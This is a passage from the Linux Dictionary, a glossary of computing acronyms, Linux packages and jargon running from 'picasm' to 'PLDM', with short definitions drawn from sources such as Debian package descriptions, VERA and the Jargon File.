<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

picasm

Assembler for the Microchip PIC-family Microcontrollers An assembler for the the Microchip PIC family of microcontrollers. Supports the majority of the Microchip PIC family. Uses Microchip (not Parallax) syntax. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICG

PCTE Interface Control Group (org., PCTE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

picp

command line utility to drive a PICSTART programmer picp is a utility which allows you to use the Microchip PICSTART programmer, where you would normally be required to use the Windows software. The PICSTART is a low-cost hardware PIC programmer for developing custom microcontroller applications. Faster than MPLAB, comprehensive command line interface, full source provided. (under the GPL) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICS

Platform for Internet Content Selection (org., Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICS

Plug-in Inventory Control System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICS

Protocol Implementation Conformance Statements From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICS

The Platform for Internet Content Selection. Proposed & developed in 1996-7 as a means for providing content information (metadata). Originally, it was designed with censorship of the Internet a hotly debated issue and it was primarily conceived as a way to assist parents and teachers monitor and control what children accessed. In later versions it also facilitates use of digital signatures and other metadata. From Faculty-of-Education
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICSDCPR

PICS Detailed Continuing Property Record, "PICS/DCPR" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

picturebook

Images and movie capture utility for the Sony picturebook This program captures images and movies on a Sony VAIO picturebook laptop, taking advantage of the built in CCD camera, hardware JPEG encoder, and jog dial. Please note that this package is superseded in functionality by video4linux's Motion Eye Camera Driver. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PICU

Priority Interrupt Control Unit From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

picview

An image preview and viewing system for Gnome. Picview is an image viewing program for Gnome. Picview will create an index of all the pictures in a directory. It can have large or small previews. Images can be viewed in a window using Electric Eyes or in full screen mode. It also has drag and drop support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PID

Process IDentification number (Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PID

Protocol Identifier [governing connection types] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pidentd

TCP/IP IDENT protocol server. Identd is a server which implements the TCP/IP proposed standard IDENT user identification protocol as specified in the RFC 1413 document. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pidentd-des

TCP/IP IDENT protocol server with DES support. Identd is a server which implements the TCP/IP proposed standard IDENT user identification protocol as specified in the RFC 1413 document. This package has been built with DES support. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pidof

find the process ID of a running program. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIE

Personal Interactive Electronics [division] (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIG

Psion Interest Group (Psion) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIIX

PCI IDE/ISA Xcelerator (Intel IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pike

Powerful interpreted programming language Pike is an interpreted, object-oriented, dynamic programming language with a syntax similar to C. It includes many powerful data types and a module system that, for instance, provides image manipulation, database connectivity and advanced cryptography. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIKT

Problem Informant/Killer Tool (GNU, Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pileup

Morse code pileup trainer for SB compatible soundcards. Pileup is a morse code program which generates callsigns using a specified number of the SoundBlaster's voices. This simulates the sound of a CW pileup. The greater the number of voices the more difficult the program is. The idea is based on the tapes used at Amateur Radio Conventions to test people's CW skills. However it is more random and can be made more difficult! You have to use a adlib or soundblaster compatible soundcard. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilot-link

This suite of tools allows you to upload and download programs and data files between a Linux/UNIX machine and the PalmPilot. It has a few extra utilities that will allow for things like syncing the PalmPilot's calendar app with Ical. Note that you might still need to consult the sources for pilot-link if you would like the Python, Tcl, or Perl bindings. Install pilot-link if you want to synchronize your Palm with your RedHat Linux system. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilot-link

Tools to communicate with a 3COM Pilot PDA over a serial port. pilot-link is a set of tools that communicate with a 3COM Pilot PDA. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilot-link-perl

Perl tools to communicate with a 3COM Pilot PDA over a serial port. This package provides Perl programs with a means of communicating directly with a Pilot. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilot-manager

PalmPilot PIM, UI, and Conduit Manager PilotManager is a tool that allows you to synchronize databases on your 3Com PalmPilot with applications on your Unix platform. It is a full Hotsync daemon that is user extensible. Developers can write their own conduits to synchronize Pilot databases with the desktop application of their choice. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilot-template

Code generator for PalmPilot programs pilot-template will generate skeleton code, Makefiles, icons, etc. for programming for the Palm Pilot. It is best used in conjunction with prc-tools (lets you compile for the Pilot on your Debian machine) and pilrc (the Pilot resource compiler), which are also available as Debian packages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pilrc

PalmOS resource compiler and editor PilRC is a resource compiler for PDAs running the Palm operation system. It is intended for use with the GCC cross-compiler for PalmOS that is provided in

Linux Dictionary

the `prc-tools` package. This version of `PilRC` also includes `pilrcui`, a GTK-based beta-quality X frontend to `PilRC`. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIM

Parallel Inference Machine (FGCS, AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIM

Personal Information Manager From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIM

Protocol Independent Multicast (ACM, Multicast) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMA

Photographic & Imaging Manufacturers Association (org., predecessor, I3C) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMB

PCTE Interface Management Board (org., PCTE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMDM

Protocol Independent Multicast-Dense Mode [protocol] (PIM, ACM, Multicast), "PIM-DM" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMF

Paar [kabel] In MetallFolie (VDE, STP), "PiMF" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMS

Project Information Management System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIMSM

Protocol Independent Multicast-Sparse Mode [protocol] (RFC 2117/2362, PIM, ACM, SM,

Multicast), "PIM-SM" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIN

Personal Identification Number (banking, ICC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIN

Processor Independent Netware (Novell, HP, DEC, Apple, Sun) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pine

An electronic mail program for UNIX computer systems, unlike predecessor programs, such as `Elm`, the program contains its own easy-to-use full screen editor, thus freeing users from dependence on the not-very-easy-to-use default editors on UNIX systems (such as `emacs` and `vi`). (The name "Pine" is actually an acronym. of the self-referential sort: Pine Is Not Elm.) From `QUECID`

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pine

Pine is a very popular, easy to use, full-featured email user agent that includes a simple text editor called `pico`. Pine supports MIME extensions and can also be used to read news. Pine also supports IMAP, mail, and MH style folders. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PINE

Program for Internet News and Email / PINE Is No longer ELM From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PINET

Physicians Information NETWORK (network, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pinfo

Pinfo is an info file (or man page) viewer with a user interface similar to the Lynx Web browser interface. Pinfo supports regular expression searching and is based on the ncurses library. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ping

A network program which sends UDP packets to a host, and listens for responses. Used to check if a machine on the Internet is alive and reachable, and measure the Round Trip Time (RTT) between the local and remote host. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PING

Packet InterNet Groper (ICMP, TCP/IP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ping

send ICMP ECHO_REQUEST packets to network hosts From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ping

The "ping" command is built into both Windows and UNIX machines as a universal way of testing network response time and performance. The name is really based off the similarity to sonar pings, though many people have create a post hoc acronym "Packet INternet Groper". Example: The ping-of-death attack used IP fragmentation to crash systems. It was so named because the ping program built-in to Windows could be easily told to fragment packets this way. Key point: Even though the ping program is simple, it can be abused. Some versions can be commanded to send packets as fast as possible, which is often done to flood networks. Most versions allow the packet size to be set to a large size, forcing fragmentation. When used with the flood above, it can overload machines since fragmentation reassembly is so slow. Contrast: There is an IRC command called "PING" that is unrelated to the ICMP ping. It is simply the text string "PING", where the target replies with "PONG". From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ping

To check if a server is running. From the sound that a sonar systems makes in movies, you know, when they are searching for a submarine. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ping

[from the submariners' term for a sonar pulse] 1. n. Slang term for a small network message (ICMP ECHO) sent by a computer to check for the presence and alertness of another. The Unix command ping(8) can be used to do this manually (note that ping(8)'s author denies the widespread folk etymology that the name was ever intended as acronym for 'Packet INternet Groper'). Occasionally used as a phone greeting. See ACK, also ENQ. 2. vt. To verify the presence of. 3. vt. To get the attention of. 4. vt. To send a message to all members of a mailing list requesting an ACK (in order to verify that everybody's addresses are reachable). "We haven't heard much of anything from Geoff, but he did respond with an ACK both times I pinged jargon-friends." 5. n. A quantum packet of happiness. People who are very happy tend to exude pings; furthermore, one can intentionally create pings and aim them at a needy party (e.g., a depressed person). This sense of ping may appear as an exclamation; "Ping!" (I'm happy; I am emitting a quantum of happiness; I have been struck by a quantum of happiness). The form "pingfulness", which is used to describe people who exude pings, also occurs. (In the standard abuse of language, "pingfulness" can also be used as an exclamation, in which case it's a much stronger exclamation than just "ping"!). Oppose blargh. The funniest use of 'ping' to date was described in January 1991 by Steve Hayman on the Usenet group comp.sys.next. He was trying to isolate a faulty cable segment on a TCP/IP Ethernet hooked up to a NeXT machine,

and got tired of having to run back to his console after each cabling tweak to see if the ping packets were getting through. So he used the sound-recording feature on the NeXT, then wrote a script that repeatedly invoked ping(8), listened for an echo, and played back the recording on each returned packet. Result? A program that caused the machine to repeat, over and over, "Ping ... ping ... ping ..." as long as the network was up. He turned the volume to maximum, ferreted through the building with one ear cocked, and found a faulty tee connector in no time. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PING (Packet Internet Groper)

A diagnostic utility program that is commonly used to determine whether a computer is properly connected to the Internet. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PingOO Linux

French based distribution. This a Debian based distribution intended for servers. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pingus

Free Lemmings(tm) clone Pingus is a free Lemmings clone covered under the GPL. Pingus uses ClanLib, which allows you to compile Pingus under Windows and Linux, other operating systems might follow. A Windows version isn't available, but it should be possible to compile it from source. Under Linux it is possible to play Pingus under X or in fullscreen, using svealib or OpenPTC, it runs in 640x480x16bpp. Pingus will have two main modes, one will be a full featured lemmings clone, with all of the basic actions (digger, bridger, etc.) and extensible to include new action and levels. The other mode will be a worms clone, with bazooka pingus, different weapons, etc. At the moment the lemmings mode makes good progress, all basic pingus are painted and the implementation of them goes on. I haven't started to implement the worms mode yet, this will follow when I am finish with the lemmings mode. Both modes will have sub modes for multiplayer, over Internet, LAN or split screen. This package contains only the executable binary. URL: <http://pingus.seul.orgurl>:
<http://pingus.seul.org> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pingwinek GNU/Linux

Pingwinek is a Linux distribution made in Poland. The main desktop is GNOME 2.2. It supports only Polish and English languages. Version 0.23 was released May 22, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipe

A programming device that lets you use the output of one process as the input of another. You must use a vertical bar (|) between two command invocations to indicate piping. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipe

In DOS and UNIX a symbol that tells the operating system to send the output of one command to another command rather than display this output. In the following example, the pipe (represented by the | symbol) tells DOS to send the output of the TREE command to the MORE command; the MORE command then displays the TREE result page by page on-screen: TREE C:\ | MORE See filter and input/output (I/O) redirection. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipe

n. [common] Idiomatically, one's connection to the Internet; in context, the expansion "bit pipe" is understood. A "fat pipe" is a line with T1 or higher capacity. A person with a 28.8 modem might be heard to complain "I need a bigger pipe". From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipe line

a sequence of commands connected by pipes. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pipeline

A sequence of programs through which a stream of data passes. Each stage or filter performs some operation on the data. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipenightdreams

Connect pipes to get the water flowing from inlet to outlet. If you know the old arcade-game "Pipe Dreams", you'll instantly recognize this. The goal is to connect different pipe segments to let the water flow from the inlet and through as many pipes as possible, until it finally reaches the outlet. This requires an even combination of speed, skill and foresight. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pipes and sockets

Special files that programs use to communicate with one another. They are rarely seen, but you might be able to see a socket or two in the /dev/directory. From Complete-Idiot's Guide to Linux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Piping Symbol

The | keyboard character (the Shift-Backslash character above the Enter key on a typical 101-key keyboard). It is often used to feed the output from one command or program to another. For example, history | grep mcopy sends the contents of the .bash_history file (via the history command) to the grep program, searching for the string "mcopy". (Also, see Append Symbol and Redirection Symbol.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIPS

Parallel Information Processing System (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIPS

Pattern Information Processing Systems From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIRA

Printing Industries Research Association (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISA

Portable Information System Architecture (DB, infodas, PISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISABG

PISA/Business Graphics (PISA), "PISA/BG" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISADB

PISA/Data Base (PISA, DB), "PISA/DB" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISADD

PISA/Data Dictionary (PISA), "PISA/DD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISADK

PISA/ ??? (PISA), "PISA/DK" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISAMP

PISA/Menu Processor (PISA), "PISA/MP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISANT

PISA/ ??? (PISA), "PISA/NT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISAPPS

PISA/ProduktionsPlanung und -Steuerungssystem (PISA), "PISA/PPS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISAQL

PISA/Query Language (PISA), "PISA/QL" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISARG

PISA/Report Generator (PISA), "PISA/RG" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PISW

Process Interrupt Status Word (CPU, assembler) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIT

Programmable Interval Timer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PITA

Pain In The Anatomy / Ass (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIU

Path Information Unit (IBM, SNA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIU

Plug-In Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pivot_root

change the root file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pivot_root

change the root file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIXEL

Picture Element From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pixelize

Create an image consisting of many small images Pixelize is a program that will use many scaled down images to try to duplicate, as closely as possible, another image. Pixelize works by splitting up the image you want rendered (or duplicated) into a grid of small rectangular areas. Each area is analyzed, and replaced with an image chosen from a large database of images. Pixelize tries to pick images that best matches each area. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PIXIT

Protocol Implementation eXtra Information for Testing From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pixmap

A pixmap editor. Pixmap is a tool for creating or editing rectangular images made up of colored pixels, i.e., pixmaps. Pixmaps are intensively used in X to define window backgrounds, icon images, etc. These are for example used as icons on the desktop or in the debian menu. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PK

Public Key (cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pk2bm

create a bitmap from a TeX pkfont From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKCS

Public Key Cryptography Standards (org., USA, cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKCS (RSA's Public-Key Cryptography Standards)

A series of documents that were part of RSA's commercial toolkit. Their popularity was such that they become part of many official standard, include S/MIME and SSL. PKCS #1 – RSA Encryption and Signature Among other things, it defines details like how to pad messages. PKCS #3 – Diffie-Hellman Defines ASN.1 structures and algorithm for DH key agreement PKCS #5 – Password-based Encryption Defines how to hash a password into a symmetric key. PKCS #7 – Cryptographic Message Syntax Standard (RFC 2315) Defines the structure of the digital envelope. Conceptually, it is a e-mail envelope that wraps an encrypted or signed message. However, the framework is used in places outside of e-mail as well. Contrast: PKCS7 is based upon PEM (Privacy Enhanced E-mail), RFC 1422. Essentially, PKCS7 is simply a PEM email in raw binary form without the headers/footers attached. S/MIME, a later standard than PEM, is simply a different wrapper around the PKCS7 envelope that conforms to the MIME standards. PKCS #10 – Certification Request Syntax Standard Used by Netscape and Microsoft web browsers, SSL libraries, ANSI X9.30. PKCS #11 – Cryptographic Token Interface Standard Abstract API for smart cards. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkf

Perl Kanji code conversion Filter Pkf is a perl script and has features as nkf (Network Kanji Filter). This converts from an input code including one of JIS, SJIS, Japanese EUC to a code another assigned one. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkg-config

program and autoconf macro to gather compile/link flags pkg-config is a program to get compile and link flags for libraries you're linking with. It requires the library package to install a description file with the needed information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkgconfig

pkgconfig is a program which helps you gather information to make life easier when you are compiling a program for those programs which support it. In fact, it's required to build certain packages. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkgconfig

The pkgconfig tool determines compilation options. For each required library, it reads the configuration file and outputs the necessary compiler and linker flags. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkglist

Package List Correcter Pkglist is the package list correcter, which help us generating mini Debian. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKI

Public Key Infrastructure (cryptography, Internet, ITU, PKI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKI (Public Key Infrastructure)

PKI is the next wave of cryptography. Traditional cryptography (since the time of the ancient Greeks) has been based upon the concept of the "shared secret" (such as a password). This was good, but it suffered from the problem of having to communicate that secret among those people who should know it — anybody who knew the secret could forge messages to anybody else or decrypt messages intended for other people. In 1970, a new technology called "asymmetric" cryptography was discovered in which a pair of keys could be used: one for encryption-only, and the other for decryption-only. The key used to encrypt could not decrypt, and vice versa. This peculiar mathematical property was discovered to be fantastically useful. For example, you can publish one of the keys to everyone in the world, who can then use it to encrypt a message to you that only you can decrypt. For this reason, the technology is better known as public-key cryptography. The technology works in the other direction as well. This means that you could encrypt a message with your private-key and send it out, and everyone with your public-key will know that it could only have come from you, because only you know your private-key. This authenticates that you are who you say you are. These and other properties provide solutions to a wide number of longstanding issues with cryptography. The various uses for public-keys have been bundled together in what is known as a new cryptographic infrastructure: PKI. Key point: PKI consists of: certificates A public and/or private key is stored in a file called a "certificate". It also includes identification information as to who the own of the certificate is, as well as a signature by a CA validating that the data hasn't been forged. Certificate Authorities (CA) Certificates are issued by a Certificate Authority, who usually will sign the certificate as well as provide some revocation facilities. Certificate Revocation Lists (CRLs) If the private-key is compromised (i.e. inadvertently made public), then the certificate containing that key needs to be "revoked". That essentially means the CA who assigned the certificate posts the certificate on its website. This allows people to publicly check this fact. repositories (e.g. LDAP directories) So that public-keys for people can be found. Uses: PKI (public-keys, certificates, etc.) is used in: S/MIME Secure e-mail. PGP Also secure e-mail. Smart card SSH SSL IPsec From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pskill

look up or signal processes based on name and other attributes From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKS

Polizeiliche Kriminalstatistik (INPOL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkspxy

PGP Public Key Server Proxy Daemon This package implements a caching proxy to be used between any program which speaks the HKP protocol for PGP public key exchange, and any HKP-capable key server (this will probably be pks). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pkspcyc

PGP Public Key Server Proxy Client pkspcyc is the "smart" client to be used with the PKS proxy server. More generally, it can be used as a HKP client with almost any PGP key server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PKT

Partition Knowledge Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pktofg

convert packed font files to generic font files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pktrace

Converts Metafont fonts into Type1 fonts pktrace is a small Python program that lets you trace a TeX bitmap font (a METAFONT font) into a PFA or PFB font (A PostScript Type1 Scalable Font). It is licensed under the GNU GPL. Type1 fonts offer many advantages over bitmaps, as they allow PostScript files to render correctly on printers with many resolutions. Moreover, Ghostscript can generate much better PDF, if given scalable fonts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pktype

verify and translate a packed font bitmap file to plain text From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PL

Physical Layer (ISO, OSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pl2pm

Rough tool to translate Perl4 .pl files to Perl5 .pm modules. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLA

Program License Agreement (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLA

Programmable Logic Array From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plain text

Unencrypted, text-based data stored in a universal format that can be read by most computer systems and applications. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plain-ASCII

/playn-as'kee/ Syn. flat-ASCII. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plaintext

A message that is not encrypted and therefore easily read. Key point: Depending upon context, plaintext can refer to the contents of a message before encryption, after it has been decrypted, or even a message that is in the "clear" and not encrypted at all. Key point: Many networking protocol protocols use plaintext passwords that can simply be sniffed off the wire. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Plamo Linux

This looks like a Slackware based distribution. Japanese distribution From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plan

X/Motif day planner (dynamically compiled with LessTif) Plan is a schedule planner based on X/Motif. It displays a month calendar similar to xcal, but every day box is large enough to show appointments in small print. By pressing on a day box, the appointments for that day can be listed and edited. Appointments are entered with the following information (everything except the time is

optional): – the date, time, and length of the appointment – an optional text message to be printed, – an optional script to be executed, – early–warn and late–warn triggers that precede the alarm time – repetitions: [n–th] weekdays, days–of–the–month, every n days, yearly – optional fast command–line appointment entry – flexible ways to specify holidays and vacations – extensive context help – multiuser capability using the netplan server, provided by the netplan package From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

plan file

n. [Unix] On systems that support finger, the `.plan` file in a user's home directory is displayed when the user is fingered. This feature was originally intended to be used to keep potential fingerers apprised of one's location and near–future plans, but has been turned almost universally to humorous and self–expressive purposes (like a sig block). See also Hacking X for Y. A recent innovation in plan files has been the introduction of "scrolling plan files" which are one–dimensional animations made using only the printable ASCII character set, carriage return and line feed, avoiding terminal specific escape sequences, since the finger command will (for security reasons; see letterbomb) not pass the escape character. Scrolling `.plan` files have become art forms in miniature, and some sites have started competitions to find who can create the longest running, funniest, and most original animations. Various animation characters include: Centipede: mmmmm Lorry/Truck: oo–oP Andalusian Video Snail: _@/ and a compiler (ASP) is available on Usenet for producing them. See also twirling baton. From Jargon Dictionary <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

planner–el

The Emacs Planner This package extends emacs–wiki to act as a day planner. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Platform

Platform is a term usually used to describe operating systems. Typically, people will refer to an IBM compatible DOS environment as a PC platform or a Macintosh System environment as a MAC platform. From Faculty–of–Education <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PLATO

Programmed Logic for Automated Teaching Operations From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

platter

A round magnetic plate that makes up part of a hard drive. Hard drives generally have several platters and require a read/write head for each side of the platter. From Redhat–9–Glossary <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

playmidi

MIDI player Playmidi is a MIDI file player that will playback to FM, GUS, and external MIDI. It also supports Creative Music Files (CMF) and Microsoft RIFF (RMI) files and large MIDI archives from games such as Ultima 7. There are 3 interfaces: text only, svgalib, and X. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

playmp3list

Another front–end to mpg123 with theme support Main features:

- o Displays a large scrollable playlist
- o Browse playlists, directories and 'virtual playlists', even while playing
- o Fully configurable key mappings and color schemes in a `playmp3listrc` file
- o Real–time toggling of shuffle/repeat modes
- o Instant jumps to one of 10 configurable directories/playlists
- o Standard player controls
- o PCM volume changing
- o Time elapsed and song format displays
- o Optional ID3v1 tag extraction in the playlist
- o Full/short (beautified) filename display in playlist
- o Command–line options to quickly override rc file settings
- o Uses mpg123 for decoding

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PLB

Picture Level Benchmark (GPC) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

PLBSI

Linux Dictionary

Picture Level Benchmark Sample Implementation (GPC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLC

Programmable Logic Controller (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLCC

Plastic Leaded [/ Leadless] Chip Carrier From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLCP

Physical Layer Convergence Procedure / Protocol (UNI, DS-3) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLD

PLD is a Linux distribution made mainly in Poland and by Poles. It has many interesting features. Some of the web site is in English. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLD

Programmable Logic Device (IC, RL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLD RescueCD

PLD RescueCD is a bootable disk that contains a live Linux distribution based on PLD Linux with a 2.4.20 modular kernel. This version uses transparent compression to fit about 130 MB of software onto a single mini CD 50 MB in usable form. These images are small enough to fit on most business card-sized CD-ROMs (approx. 50MB), but can be burned onto any standard CD-R or CD-RW, as well. PLD RescueCD can be used to rescue ailing machines, perform intrusion post-mortems, act as a temporary secure linux-based workstation (using ssh, vpn connecting to remote host – other networking clients are also supported), install PLD Linux, and perform many other as yet unimagined tasks. Initial version 1.00 was released April 6, 2003. Version 1.01 was released June 17, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLDA

Private Loop Direct Attach From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PLDM

Power Line Disturbance Monitor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

plex86

